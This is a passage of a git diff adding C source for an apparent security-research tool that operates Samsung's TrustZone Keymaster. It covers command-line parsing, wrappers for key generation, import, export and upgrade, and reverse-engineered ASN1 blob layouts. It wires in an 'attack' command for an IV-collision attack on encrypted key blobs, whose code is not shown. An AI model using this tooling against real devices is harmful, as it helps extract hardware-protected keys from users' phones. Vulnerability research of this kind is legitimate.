+/** @brief Writes a file in the given path + @param[in] directory Directory of the file + @param[in] filename The name of the file + @param[in] data Output buffer + @param[in] len Output len + @Return status KM_RESULT_SUCCESS if successful + @note Unsafe (ok for research tool) +*/ +KM_Result write_file( + const char *directory, + const char *filename, + const uint8_t *data, + size_t len); + +/** @brief Writes a file in "{prefix}{original_path}{suffix}" + @param[in] directory Directory of the file + @param[in] filename The name of the file + @param[in] data Output buffer + @param[in] len Output len + @Return status KM_RESULT_SUCCESS if successful + @note Unsafe (ok for research tool) +*/ +KM_Result save_related_file( + const char *original_path, + const char *prefix, + const char *suffix, + const uint8_t *data, + size_t len); + +#endif // _FILE_UTILS_H_ diff --git a/jni/core/main.c b/jni/core/main.c new file mode 100755 index 0000000..fd86a45 --- /dev/null +++ b/jni/core/main.c @@ -0,0 +1,290 @@ +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +int main(int argc, char * const * argv) +{ + KM_Result ret = KM_RESULT_INVALID; + + key_request_t req; + memset(&req, 0, sizeof(req)); + + if (2 > argc) { + LOG_USAGE(USAGE_DEFAULT); + goto cleanup; + } + + static struct option long_options[] = { + {"help", no_argument, 0, 'h'}, + {"cmd", required_argument, 0, 'c'}, + {"application-id", required_argument, 0, 'i'}, + {"application-data", required_argument, 0, 'd'}, + {"ekey-path", required_argument, 0, 'e'}, + {"path", required_argument, 0, 'p'}, + {"second-ekey-path", required_argument, 0, 's'}, + {"output", required_argument, 0, 'o'}, + {"algorithm", required_argument, 0, 0}, + {"purpose", required_argument, 0, 0}, + {"padding", required_argument, 0, 0}, + {"digest", required_argument, 0, 0}, + {"plain", no_argument, 0, 0}, + {"key-size", required_argument, 0, 0}, + {"enc-ver", required_argument, 0, 0}, + {"exportable", no_argument , 0, 0}, + {"request", required_argument, 0, 0}, + {"salt", required_argument, 0, 0}, + {"iv", required_argument, 0, 0}, + {"aad", required_argument, 0, 0}, + {"auth_tag", required_argument, 0, 0}, + {"nonce", required_argument, 0, 0}, + {0} + }; + + const char *cmd = NULL; + const char *ekey_path = NULL; + const char *path = NULL; + const char *second_ekey_path = NULL; + const char *output = NULL; + const char *option = NULL; + + // defaults + req.algorithm = KM_ALGORITHM_AES; + req.purpose = -1; + req.padding = -1; + req.digest = KM_DIGEST_NONE; + req.enc_ver = -1; + req.mode = KM_MODE_GCM; + req.public_exponent = 0x10001; + req.request = 1; + + // setup libraries + ret = initialize_libs(); + if (KM_RESULT_SUCCESS != ret) { + LOGE("failed to initialize required SOs; ret: %d", ret); + goto cleanup; + } + + // parse CLI + int c; + while (1) { + int options_index = 0; + + c = getopt_long(argc, argv, "h:c:i:d:e:p:s:o:", long_options, &options_index); + if (-1 == c) { + break; + } + + switch (c) { + case 0: + option = long_options[options_index].name; + + if (0 == strcmp(option, "algorithm")) { + req.algorithm = km_algorithm_to_int(optarg); + if (-1 == req.algorithm) { + LOGE("invalid value for algorithm: %s [supported: rsa/ec/aes/des/hmac]", optarg); + goto cleanup; + } + LOGD("algorithm %s (0x%x)", km_algorithm_to_string(req.algorithm), req.algorithm); + } + else if (0 == strcmp(option, "purpose")) { + req.purpose = km_purpose_to_int(optarg); + if (-1 == req.purpose) { + LOGE("invalid value for purpose: %s [supported: encrypt/decrypt/sign/verify/wrap_key]", optarg); + goto cleanup; + } + } + else if (0 == strcmp(option, "padding")) { + req.padding = km_padding_to_int(optarg); + if (-1 == req.padding) { + LOGE("invalid value for padding: %s [supported: none/oaep/pss/pkcs1.5_encyrpt/pkcs1.5_sign/pkcs7]", optarg); + goto cleanup; + } + } + else if (0 == strcmp(option, "digest")) { + req.digest = km_digest_to_int(optarg); + if (-1 == req.digest) { + LOGE("invalid value for digest: %s [supported: none/md5/sha1/sha224/sha256/sha384/sha512]", optarg); + goto cleanup; + } + } + else if (0 == strcmp(option, "plain")) { + req.is_plain = 1; + } + else if (0 == strcmp(option, "enc-ver")) { + req.enc_ver = strtol(optarg, NULL, 0); + + if (EINVAL == errno || ERANGE == errno || 0 == req.enc_ver) { + LOGE("invalid value for enc-vec: %s", optarg); + goto cleanup; + } + } + else if (0 == strcmp(option, "key-size")) { + req.key_size = strtol(optarg, NULL, 0); + if (EINVAL == errno || ERANGE == errno || 0 == req.key_size) { + LOGE("invalid value for key-size: %s", optarg); + goto cleanup; + } + } + else if (0 == strcmp(option, "exportable")) { + req.is_exportable = 1; + } + else if (0 == strcmp(option, "request")) { + req.request = strtol(optarg, NULL, 0); + if (EINVAL == errno || ERANGE == errno || (0 != req.request && 1 != req.request)) { + LOGE("invalid value for request: %s", optarg); + goto cleanup; + } + } + else if (0 == strcmp(option, "salt")) { + if (KM_RESULT_SUCCESS != READ_FILE(optarg, &req.salt.data, &req.salt.len)) { + LOGE("failed to read salt %s", optarg); + goto cleanup; + } + break; + } + else if (0 == strcmp(option, "iv")) { + if (KM_RESULT_SUCCESS != READ_FILE(optarg, &req.iv.data, &req.iv.len)) { + LOGE("failed to get iv (%s)", optarg); + goto cleanup; + } + } + else if (0 == strcmp(option, "aad")) { + if (KM_RESULT_SUCCESS != READ_FILE(optarg, &req.aad.data, &req.aad.len)) { + LOGE("failed to read aad %s", optarg); + goto cleanup; + } + break; + } + else if (0 == strcmp(option, "auth_tag")) { + if (KM_RESULT_SUCCESS != READ_FILE(optarg, &req.auth_tag.data, &req.auth_tag.len)) { + LOGE("failed to read auth_tag %s", optarg); + goto cleanup; + } + break; + } + else if (0 == strcmp(option, "nonce")) { + if (KM_RESULT_SUCCESS != READ_FILE(optarg, &req.nonce.data, &req.nonce.len)) { + LOGE("failed to get nonce (%s)", optarg); + goto cleanup; + } + } + else { + LOGE("unknown option %s", option); + goto cleanup; + } + break; + + case 'h': + LOG_USAGE(USAGE_DEFAULT); + exit(0); + break; + + case 'c': + LOGD("cmd %s", optarg); + cmd = optarg; + break; + + case 'i': + LOGD("id %s", optarg); + if (0 != strcmp("null", optarg)) { + copy_vector(&req.application_id, (const uint8_t *)optarg, strlen(optarg)); + } + break; + + case 'd': + LOGD("data %s", optarg); + if (0 != strcmp("null", optarg)) { + copy_vector(&req.application_data, (const uint8_t *)optarg, strlen(optarg)); + } + break; + + case 'e': + LOGD("ekey %s", optarg); + ekey_path = optarg; + break; + + case 'p': + LOGD("path %s", optarg); + path = optarg; + break; + + case 's': + LOGD("second_ekey_path %s", optarg); + second_ekey_path = optarg; + break; + + case 'o': + LOGD("output %s", optarg); + output = optarg; + break; + + case '?': + exit(1); + break; + + default: + abort(); + } + } + + if (NULL == cmd) { + LOGE("invalid cmd %s (specify -c )", cmd); + LOG_USAGE(USAGE_DEFAULT); + goto cleanup; + } + + if (0 == strcmp(cmd, CMD_ATTACK)) { + ret = iv_collision_attack(path, ekey_path, second_ekey_path, output); + } + else if (0 == strcmp(cmd, CMD_GENERATE)) { + ret = do_generate(&req, ekey_path); + } + else if (0 == strcmp(cmd, CMD_GET_CHARS)) { + ret = do_get_characteristics(&req, ekey_path); + } + else if (0 == strcmp(cmd, CMD_IMPORT)) { + ret = do_import(&req, path, ekey_path); + } + else if (0 == strcmp(cmd, CMD_EXPORT)) { + ret = do_export(&req, ekey_path); + } + else if (0 == strcmp(cmd, CMD_UPGRADE)) { + ret = do_upgrade(&req, ekey_path); + } + else if (0 == strcmp(cmd, CMD_BEGIN)) { + ret = do_begin(&req, ekey_path); + } + else if (0 == strcmp(cmd, CMD_PARSE_ASN1)) { + ret = parse_asn1(ekey_path); + } + else { + LOGE("invalid cmd %s", cmd); + LOG_USAGE(USAGE_DEFAULT); + goto cleanup; + } + + if (0 != ret) { + LOGE("error: %s", km_result_to_string(ret)); + LOG_USAGE(cmd_to_usage(cmd)); + } + else { + LOGD("%s", "done"); + } + +cleanup: + free_key_request(&req); + destroy_libs(); + + return ret; +} diff --git a/jni/core/skeymaster_api.c b/jni/core/skeymaster_api.c new file mode 100644 index 0000000..7f38ee8 --- /dev/null +++ b/jni/core/skeymaster_api.c @@ -0,0 +1,332 @@ +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +KM_Result prepare_keymaster(void) +{ + KM_Result ret = wait_for_keymaster(); + if (KM_RESULT_SUCCESS != ret) { + LOGE("failed to get keymaster; ret: %d", ret); + goto cleanup; + } + + LOGD("%s", "keymaster is ready"); + +cleanup: + return ret; +} + +KM_Result do_generate(key_request_t *req, const char *ekey_path) +{ + KM_Result ret = KM_RESULT_INVALID; + vector_t ekey = {0}; + + if (NULL == ekey_path) { + LOGE("invalid ekey_path %s (specify -e )", "null"); + goto cleanup; + } + + if (NULL == req) { + LOGE("invalid req is %s", "null"); + goto cleanup; + } + + if (0 == req->key_size) { + LOGE("invalid req->key_size %d (specify --key-size )", 0); + goto cleanup; + } + + if (KM_RESULT_SUCCESS != prepare_keymaster()) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != generate(req, &ekey)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != save_iv_and_ekey(ekey_path, &ekey)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != WRITE_FILE(ekey_path, ekey.data, ekey.len)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != print_deserialized_ekey_blob(&ekey)) { + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + + LOGD("successfully called %s", "generateKey"); + +cleanup: + if (NULL != ekey.data) { + free(ekey.data); + } + return ret; +} + +KM_Result do_get_characteristics(key_request_t *req, const char *ekey_path) +{ + KM_Result ret = KM_RESULT_INVALID; + vector_t ekey = {0}; + + if (NULL == ekey_path) { + LOGE("invalid ekey_path %s (specify -e )", "null"); + goto cleanup; + } + + if (KM_RESULT_SUCCESS != READ_FILE(ekey_path, &ekey.data, &ekey.len)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != prepare_keymaster()) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != print_deserialized_ekey_blob(&ekey)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != add_aad_to_ekey(&req->aad, &ekey)) { + LOGE("failed to add %s to ekey", "aad"); + goto cleanup; + } + + if (KM_RESULT_SUCCESS != get_key_characteristics(req, &ekey)) { + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + + LOGD("successfully called %s", "getKeyCharacteristics"); + +cleanup: + if (NULL != ekey.data) { + free(ekey.data); + } + return ret; +} + +KM_Result do_import(key_request_t *req, const char *key_path, const char *ekey_path) +{ + KM_Result ret = KM_RESULT_INVALID; + vector_t ekey = {0}; + vector_t key_data; + + if (NULL == key_path) { + LOGE("invalid key_path %s (specify -p )", key_path); + goto cleanup; + } + + if (NULL == ekey_path) { + LOGE("invalid ekey_path %s (specify -e )", ekey_path); + goto cleanup; + } + + if (0 == req->key_size) { + LOGE("invalid req->key_size %d (specify --key-size )", 0); + goto cleanup; + } + + if (KM_RESULT_SUCCESS != READ_FILE(key_path, &key_data.data, &key_data.len)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != prepare_keymaster()) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != import(req, &key_data, &ekey)) { + LOGE("%s failed", "import"); + goto cleanup; + } + + if (KM_RESULT_SUCCESS != WRITE_FILE(ekey_path, ekey.data, ekey.len)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != save_iv_and_ekey(ekey_path, &ekey)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != print_deserialized_ekey_blob(&ekey)) { + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + + LOGD("successfully called %s", "importKey"); + +cleanup: + if (NULL != key_data.data) { + free(key_data.data); + } + if (NULL != ekey.data) { + free(ekey.data); + } + return ret; +} + +KM_Result do_export(key_request_t *req, const char *ekey_path) +{ + KM_Result ret = KM_RESULT_INVALID; + vector_t ekey = {0}; + vector_t exported = {0}; + + if (NULL == ekey_path) { + LOGE("invalid ekey_path %s (specify -e )", ekey_path); + goto cleanup; + } + + if (KM_RESULT_SUCCESS != READ_FILE(ekey_path, &ekey.data, &ekey.len)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != prepare_keymaster()) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != add_aad_to_ekey(&req->aad, &ekey)) { + LOGE("failed to add %s to ekey", "aad"); + goto cleanup; + } + + if (KM_RESULT_SUCCESS != export(req, &ekey, &exported)) { + goto cleanup; + } + + print_vec("exported", exported.data, exported.len); + + const char *prefix = (KM_ALGORITHM_RSA == req->algorithm) ? "public-" : "plain-"; + + if (0 != save_related_file(ekey_path, prefix, "", exported.data, exported.len)) { + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + + LOGD("successfully called %s", "exportKey"); + +cleanup: + if (NULL != exported.data) { + free(exported.data); + } + if (NULL != ekey.data) { + free(ekey.data); + } + return ret; +} + +KM_Result do_upgrade(key_request_t *req, const char *ekey_path) +{ + KM_Result ret = KM_RESULT_INVALID; + vector_t ekey = {0}; + vector_t new_ekey = {0}; + + if (NULL == ekey_path) { + LOGE("invalid ekey_path %s (specify -e )", ekey_path); + goto cleanup; + } + + if (KM_RESULT_SUCCESS != READ_FILE(ekey_path, &ekey.data, &ekey.len)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != prepare_keymaster()) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != upgrade(req, &ekey, &new_ekey)) { + goto cleanup; + } + + if (NULL == new_ekey.data) { + LOGD("%s did not change new_ekey", "upgrade"); + goto cleanup; + } + + if (KM_RESULT_SUCCESS != save_related_file(ekey_path, "upgraded-", "", new_ekey.data, new_ekey.len)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != print_deserialized_ekey_blob(&new_ekey)) { + goto cleanup; + } + + ret = KM_RESULT_SUCCESS; + + LOGD("successfully called %s", "upgradeKey"); + +cleanup: + if (NULL != new_ekey.data) { + free(new_ekey.data); + } + if (NULL != ekey.data) { + free(ekey.data); + } + return ret; +} + +KM_Result do_begin(key_request_t *req, const char *ekey_path) +{ + KM_Result ret = KM_RESULT_INVALID; + vector_t ekey = {0}; + int64_t operation_handle = 0; + + if (-1 == req->algorithm) { + LOGE("invalid algorithm %d (specify --algorithm [aes|rsa|ec|hmac])", req->algorithm); + goto cleanup; + } + + if (-1 == req->purpose) { + LOGE("invalid purpose %d (specify --purpose [encrypt|decrypt|sign|verify|wrap_key])", req->purpose); + goto cleanup; + } + + if (-1 == req->padding) { + LOGE("invalid padding %d (specify --padding none)", req->padding); + goto cleanup; + } + + if (NULL == req->nonce.data) { + LOGE("invalid nonce %p (specify --nonce nonce.bin)", req->nonce.data); + goto cleanup; + } + + if (NULL == ekey_path) { + LOGE("invalid ekey_path %s", ekey_path); + goto cleanup; + } + + if (KM_RESULT_SUCCESS != READ_FILE(ekey_path, &ekey.data, &ekey.len)) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != prepare_keymaster()) { + goto cleanup; + } + + if (KM_RESULT_SUCCESS != begin_operation(req, &ekey, &operation_handle)) { + LOGE("%s failed", "begin"); + goto cleanup; + } + + LOGI("operation handle: %lx", operation_handle); + ret = KM_RESULT_SUCCESS; + +cleanup: + if (NULL != ekey.data) { + free(ekey.data); + } + + return ret; +} diff --git a/jni/core/skeymaster_api.h b/jni/core/skeymaster_api.h new file mode 100644 index 0000000..602902f --- /dev/null +++ b/jni/core/skeymaster_api.h @@ -0,0 +1,55 @@ +#ifndef _SKEYMASTER_API_H_ +#define _SKEYMASTER_API_H_ + +#include +#include + +/** @brief Initializes required SOs and starts keymaster + @Return status KM_RESULT_SUCCESS if successful + */ +KM_Result prepare_keymaster(void); + +/** @brief Generate a key + @param[in] req Key request + @param[in,out] ekey_path Output ekey path + @Return status KM_RESULT_SUCCESS if successful + */ +KM_Result do_generate(key_request_t *req, const char *ekey_path); + +/** @brief Get key characteristics + @param[in] req Key request + @param[in] ekey_path Input ekey path + @Return status KM_RESULT_SUCCESS if successful + */ +KM_Result do_get_characteristics(key_request_t *req, const char *ekey_path); + +/** @brief Import a key + @param[in] req Key request + @param[in] key_path Input key path + @param[in,out] ekey_path Output ekey path + @Return status KM_RESULT_SUCCESS if successful + */ +KM_Result do_import(key_request_t *req, const char *key_path, const char *ekey_path); + +/** @brief Export an ekey + @param[in] req Key request + @param[in] ekey_path Input ekey path + @Return status KM_RESULT_SUCCESS if successful + */ +KM_Result do_export(key_request_t *req, const char *ekey_path); + +/** @brief Upgrade an ekey + @param[in] req Key request + @param[in] ekey_path Input ekey path + @Return status KM_RESULT_SUCCESS if successful + */ +KM_Result do_upgrade(key_request_t *req, const char *ekey_path); + +/** @brief Begin a cryptographic operation + @param[in] req Key request + @param[in] ekey_path Input ekey path + @Return status KM_RESULT_SUCCESS if successful + */ +KM_Result do_begin(key_request_t *req, const char *ekey_path); + +#endif // _SKEYMASTER_API_H_ diff --git a/jni/core/skeymaster_asn1.c b/jni/core/skeymaster_asn1.c new file mode 100755 index 0000000..5f639ae --- /dev/null +++ b/jni/core/skeymaster_asn1.c @@ -0,0 +1,392 @@ +#include +#include +#include +#include + +#define ASN1_ITYPE_PRIMITIVE 0x0 +#define ASN1_ITYPE_SEQUENCE 0x1 + +#define V_ASN1_SEQUENCE 16 + +#define ASN1_OP_NEW_PRE 0 +#define ASN1_OP_NEW_POST 1 +#define ASN1_OP_FREE_PRE 2 +#define ASN1_OP_FREE_POST 3 +#define ASN1_OP_D2I_PRE 4 +#define ASN1_OP_D2I_POST 5 +#define ASN1_OP_I2D_PRE 6 + +/**************************** +* ASN1 items/templates/funcs +*****************************/ + +/** @note Offsets are for 64-bit (Android), commented offsets are used in Keymaster TA + */ + +ASN1_TEMPLATE km_param_templates[] = { + {.flags = 0, .tag = 0, .offset = 0, .field_name = "tag", .item = NULL /*g_libcrypto->ASN1_INTEGER_it*/ }, + {.flags = 0x91, .tag = 0, .offset = 8/*4*/, .field_name = "i", .item = NULL /*g_libcrypto->ASN1_INTEGER_it*/ }, + {.flags = 0x91, .tag = 1, .offset = 0x10/*8*/, .field_name = "b", .item = NULL /*g_libcrypto->ASN1_OCTET_STRING_it*/ } +}; + +ASN1_AUX km_param_funcs = {NULL, 0, 0, swd_param_cb, 0}; + +ASN1_ITEM KM_PARAM = { + .itype = ASN1_ITYPE_SEQUENCE, + .utype = V_ASN1_SEQUENCE, + .templates = km_param_templates, + .tcount = 0x3, + .funcs = &km_param_funcs, + .size = 0x1c /*0x10*/, + .sname = "KM_PARAM" +}; + +ASN1_TEMPLATE km_key_blob_templates[] = { + {.flags = 0, .tag = 0, .offset = 0, .field_name = "ver", .item = NULL /*g_libcrypto->ASN1_INTEGER_it*/ }, + {.flags = 0, .tag = 0, .offset = 8/*4*/, .field_name = "key", .item = NULL /*g_libcrypto->ASN1_OCTET_STRING_it*/ }, + {.flags = 0x93, .tag = 0, .offset = 0x10/*8*/, .field_name = "par", .item = &KM_PARAM}, +}; + +ASN1_AUX km_key_blob_funcs = {NULL, 0, 0, swd_key_blob_cb, 0}; + +ASN1_ITEM KM_KEY_BLOB = { + .itype = ASN1_ITYPE_SEQUENCE, + .utype = V_ASN1_SEQUENCE, + .templates = km_key_blob_templates, + .tcount = 0x3, + .funcs = &km_key_blob_funcs, + .size = 0x18/*0xc*/, + .sname = "KM_KEY_BLOB" +}; + +ASN1_TEMPLATE km_ekey_blob_templates[] = { + {.flags = 0, .tag = 0, .offset = 8/*4*/, .field_name = "enc_ver", .item = NULL /*g_libcrypto->ASN1_INTEGER_it*/ }, + {.flags = 0, .tag = 0, .offset = 0x10/*8*/, .field_name = "ekey", .item = NULL /*g_libcrypto->ASN1_OCTET_STRING_it*/ }, + {.flags = 2, .tag = 0, .offset = 0x18/*0xc*/, .field_name = "enc_par", .item = &KM_PARAM}, +}; + +ASN1_AUX km_ekey_blob_funcs = {NULL, 0, 0, swd_ekey_blob_cb, 0}; + +ASN1_ITEM KM_EKEY_BLOB = { + .itype = ASN1_ITYPE_SEQUENCE, + .utype = V_ASN1_SEQUENCE, + .templates = km_ekey_blob_templates, + .tcount = 0x3, + .funcs = &km_ekey_blob_funcs, + .size = 0x20/*0x10*/, + .sname = "KM_EKEY_BLOB" +}; + +ASN1_TEMPLATE km_root_of_trust_templates[] = { + {.flags = 0, .tag = 0, .offset = 0, .field_name = "verified_boot_key", .item = NULL /*g_libcrypto->ASN1_OCTET_STRING_it*/ }, + {.flags = 0, .tag = 0, .offset = 8/*4*/, .field_name = "device_locked", .item = NULL /*g_libcrypto->ASN1_BOOLEAN_it*/ }, + {.flags = 0, .tag = 0, .offset = 0x10/*8*/, .field_name = "verified_boot_state", .item = NULL /*g_libcrypto->ASN1_ENUMERATED_it*/ }, + {.flags = 0, .tag = 0, .offset = 0x18/*0xc*/, .field_name = "verified_boot_hash", .item = NULL /*g_libcrypto->ASN1_OCTET_STRING_it*/}, +}; + +ASN1_ITEM KM_ROOT_OF_TRUST = { + .itype = ASN1_ITYPE_SEQUENCE, + .utype = V_ASN1_SEQUENCE, + .templates = km_root_of_trust_templates, + .tcount = 0x4, + .funcs = NULL, + .size = 0x20/*0x10*/, + .sname = "KM_ROOT_OF_TRUST" +}; + +void init_asn1_templates(void) +{ + km_param_templates[0].item = g_libcrypto->ASN1_INTEGER_it; + km_param_templates[1].item = g_libcrypto->ASN1_INTEGER_it; + km_param_templates[2].item = g_libcrypto->ASN1_OCTET_STRING_it; + km_key_blob_templates[0].item = g_libcrypto->ASN1_INTEGER_it; + km_key_blob_templates[1].item = g_libcrypto->ASN1_OCTET_STRING_it; + km_ekey_blob_templates[0].item = g_libcrypto->ASN1_INTEGER_it; + km_ekey_blob_templates[1].item = g_libcrypto->ASN1_OCTET_STRING_it; + km_root_of_trust_templates[0].item = g_libcrypto->ASN1_OCTET_STRING_it; + km_root_of_trust_templates[1].item = g_libcrypto->ASN1_BOOLEAN_it; + km_root_of_trust_templates[2].item = g_libcrypto->ASN1_ENUMERATED_it; + km_root_of_trust_templates[3].item = g_libcrypto->ASN1_OCTET_STRING_it; +} + +int swd_param_cb(int operation, ASN1_VALUE **in, const ASN1_ITEM *it, void *exarg) +{ + km_param_t *par = (km_param_t *)*in; + if (ASN1_OP_NEW_POST == operation) { + par->flags = 0; + goto cleanup; + } + + if (ASN1_OP_FREE_PRE != operation || 0 == (par->flags & 2)) { + goto cleanup; + } + + ASN1_STRING *value = (ASN1_STRING *)par->b; + if (NULL == value) { + value = (ASN1_STRING *)par->i; + } + + if (0 >= value->length) { + goto cleanup; + } + + // if (NULL != value->data && ~value->len >= value->data) { + // set_n_bytes_to_zero(value->data, value->length); + // } + +cleanup: + return 1; +} + +int swd_key_blob_cb(int operation, ASN1_VALUE **in, const ASN1_ITEM *it, void *exarg) +{ + int ret; + + km_key_blob_t *key_blob = (km_key_blob_t *)*in; + switch(operation) { + case ASN1_OP_NEW_POST: + ret = ASN1_INTEGER_set((ASN1_INTEGER *)key_blob->ver, 2); + if (0 == ret) { + LOGE("%s() failed for %s", "ASN1_INTEGER_set", "key_blob->ver"); + goto cleanup; + } + break; + case ASN1_OP_FREE_PRE: + // if (0 < key_blob->key->length) { + // if (NULL != key_blob->key->data && ~key_blob->key->length >= key_blob->key->data) { + // set_n_bytes_to_zero(key_blob->key->data, key_blob->key->length) + // } + // } + ret = 1; + break; + case ASN1_OP_FREE_POST: + break; + case ASN1_OP_D2I_PRE: + break; + case ASN1_OP_D2I_POST: + // if (0 != km_mark_hidden_tags(key_blob->par)) { + // ret = 0; + // LOGE("%s failed", "km_mark_hidden_tags"); + // goto cleanup; + // } + break; + case ASN1_OP_I2D_PRE: + if (0 != km_del_tags_by_flag(key_blob->par, 1)) { + ret = 0; + LOGE("%s failed", "km_del_tags_by_flag"); + goto cleanup; + } + break; + } + + ret = 1; +cleanup: + return ret; +} + +int should_mark_hidden_tag(keymaster_tag_t tag) +{ + switch (tag) { + case KM_TAG_APPLICATION_ID: + case KM_TAG_APPLICATION_DATA: + case KM_TAG_ROOT_OF_TRUST: + case KM_TAG_MAC_LENGTH: + case KM_TAG_RESET_SINCE_ID_ROTATION: + case KM_TAG_EKEY_BLOB_PASSWORD: + return 1; + + default: + break; + } + + /* + KM_TAG_ATTESTATION_ID_* + KM_TAG_EKEY_BLOB_* + */ + if (0x90001451 == tag || + (0x900002c6 <= tag && tag < 0x900002ce) || + (tag < 0x9000138f && 0x900003e8 >= tag)) { + return 1; + } + + return 0; +} + +int km_mark_hidden_tags(km_param_t * par) +{ + int ret; + int tag; + + ret = sk_num((_STACK *)par); + for (int i = 0; i < sk_num((_STACK *)par); ++i) { + km_param_t *value = (km_param_t *)sk_value((_STACK *)par, i); + if (NULL == value) { + ret = -1; + goto cleanup; + } + + if (0 != km_get_ASN1_INTEGER(value->tag, &tag)) { + LOGE("%s() failed for %s", "km_get_ASN1_INTEGER", "param->tag"); + ret = -1; + goto cleanup; + } + + if (0 != should_mark_hidden_tag(tag)) { + value->flags = value->flags | 2; + } + } + + ret = 0; + +cleanup: + return ret; +} + +int km_del_tags_by_flag(km_param_t *par, int flag) +{ + int ret; + + int num = sk_num((_STACK *)par); + if (0 >= num) { + ret = 0; + goto cleanup; + } + + for (int i = 0; i < num; ++i) { + km_param_t *value = (km_param_t *)sk_value((_STACK *)par, i); + if (NULL == value) { + ret = -1; + goto cleanup; + } + + if (0 != (flag & value->flags)) { + if (0 == sk_delete((_STACK *)par, i)) { + ret = -1; + goto cleanup; + } + + ASN1_item_free((ASN1_VALUE *)value, (ASN1_ITEM *)&KM_PARAM); + i = 0; + if (sk_num((_STACK *)par) < 1) { + break; + } + } + } + + ret = 0; + +cleanup: + return ret; +} + +int swd_ekey_blob_cb(int operation, ASN1_VALUE **in, const ASN1_ITEM *it, void *exarg) +{ + int ret; + + if (ASN1_OP_NEW_POST != operation) { + ret = 1; + goto cleanup; + } + + km_ekey_blob_t *ekey = (km_ekey_blob_t *)*in; + + if (0 == ASN1_INTEGER_set(ekey->enc_ver, 0x29)) { + LOGE("%s failed", "ASN1_INTEGER_set"); + ret = 0; + goto cleanup; + } + + ret = 1; + +cleanup: + + return ret; +} + +/**************************** +* ASN1 related functions +*****************************/ + +int km_get_ASN1_INTEGER(ASN1_INTEGER *integer, int32_t *out) +{ + return g_libkeymaster_helper->km_get_ASN1_INTEGER(integer, out); +} + +ASN1_INTEGER *km_set_ASN1_INTEGER(long v) +{ + return g_libkeymaster_helper->km_set_ASN1_INTEGER(v); +} + +int km_get_ASN1_INTEGER_BN(ASN1_INTEGER *integer, int64_t *out) +{ + return g_libkeymaster_helper->km_get_ASN1_INTEGER_BN(integer, out); +} + +ASN1_INTEGER *km_set_ASN1_INTEGER_BN(uint64_t v) +{ + return g_libkeymaster_helper->km_set_ASN1_INTEGER_BN(v); +} + +int km_get_ASN1_OCTET_STRING(ASN1_OCTET_STRING *string, uint8_t **p_out, size_t *p_len) +{ + return g_libkeymaster_helper->km_get_ASN1_OCTET_STRING(string, p_out, p_len); +} + +ASN1_OCTET_STRING *km_set_ASN1_OCTET_STRING(uint8_t *data, size_t len) +{ + return g_libkeymaster_helper->km_set_ASN1_OCTET_STRING(data, len); +} + +void free_km_param(void *par) +{ + ASN1_item_free((ASN1_VALUE *)par, (ASN1_ITEM *)&KM_PARAM); +} + +km_indata_t *KM_INDATA_new(void) +{ + return g_libkeymaster_helper->KM_INDATA_new(); +} + +void KM_INDATA_free(km_indata_t *indata) +{ + g_libkeymaster_helper->KM_INDATA_free(indata); +} + +int i2d_KM_INDATA(km_indata_t *indata, uint8_t **out) +{ + return g_libkeymaster_helper->i2d_KM_INDATA(indata, out); +} + +km_indata_t *d2i_KM_INDATA(ASN1_VALUE **val, uint8_t **in, long len) +{ + return g_libkeymaster_helper->d2i_KM_INDATA(val, in, len); +} + +km_outdata_t *d2i_KM_OUTDATA(ASN1_VALUE **val, uint8_t **in, long len) +{ + return g_libkeymaster_helper->d2i_KM_OUTDATA(val, in, len); +} + +void KM_OUTDATA_free(km_outdata_t *outdata) +{ + g_libkeymaster_helper->KM_OUTDATA_free(outdata); +} + +ASN1_OCTET_STRING *encode_ekey_blob(km_ekey_blob_t *ekey_blob) +{ + ASN1_OCTET_STRING *ret = ASN1_OCTET_STRING_new(); + if (NULL == ret) { + goto cleanup; + } + + ret->length = ASN1_item_i2d((ASN1_VALUE *)ekey_blob, &ret->data, &KM_EKEY_BLOB); + if (0 >= ret->length) { + LOGD("%s failed", "ASN1_item_i2d"); + ASN1_OCTET_STRING_free(ret); + ret = NULL; + goto cleanup; + } + +cleanup: + return ret; +} diff --git a/jni/core/skeymaster_asn1.h b/jni/core/skeymaster_asn1.h new file mode 100755 index 0000000..5809669 --- /dev/null +++ b/jni/core/skeymaster_asn1.h @@ -0,0 +1,366 @@ +#ifndef _SKEYMASTER_ASN1_H_ +#define _SKEYMASTER_ASN1_H_ + +#include +#include + +/** @brief Updates templates items from libcrypto + @note Must be called before using skeymaster ASN1 functions (e.g. called in initalize_libs()) + */ +void init_asn1_templates(void); + +typedef struct km_symm_cipher_ctx_t { + ASN1_OCTET_STRING *data; // offset: 0x00 + ASN1_OCTET_STRING *key; // offset: 0x04 + int unk1; // offset: 0x08 + int unk2; // offset: 0x0c + int max_key_len; // offset: 0x10 + EVP_CIPHER_CTX *ctx; // offset: 0x14 + EVP_CIPHER *cipher; // offset: 0x18 + KM_ALGORITHM algorithm; // offset: 0x1c + KM_PURPOSE purpose; // offset: 0x20 + KM_PADDING padding; // offset: 0x24 + int digest; // offset: 0x28 + int block_mode; // offset: 0x2c + int mac_length; // offset: 0x30 + int min_mac_length; // offset: 0x34 + int unk10; // offset: 0x38 + ASN1_OCTET_STRING *last; // offset: 0x3c +} km_symm_cipher_ctx_t; + +typedef struct km_cipher_ctx_t { + KM_DIGEST digest; // offset: 0x00 + KM_ALGORITHM algorithm; // offset: 0x04 + KM_PURPOSE purpose; // offset: 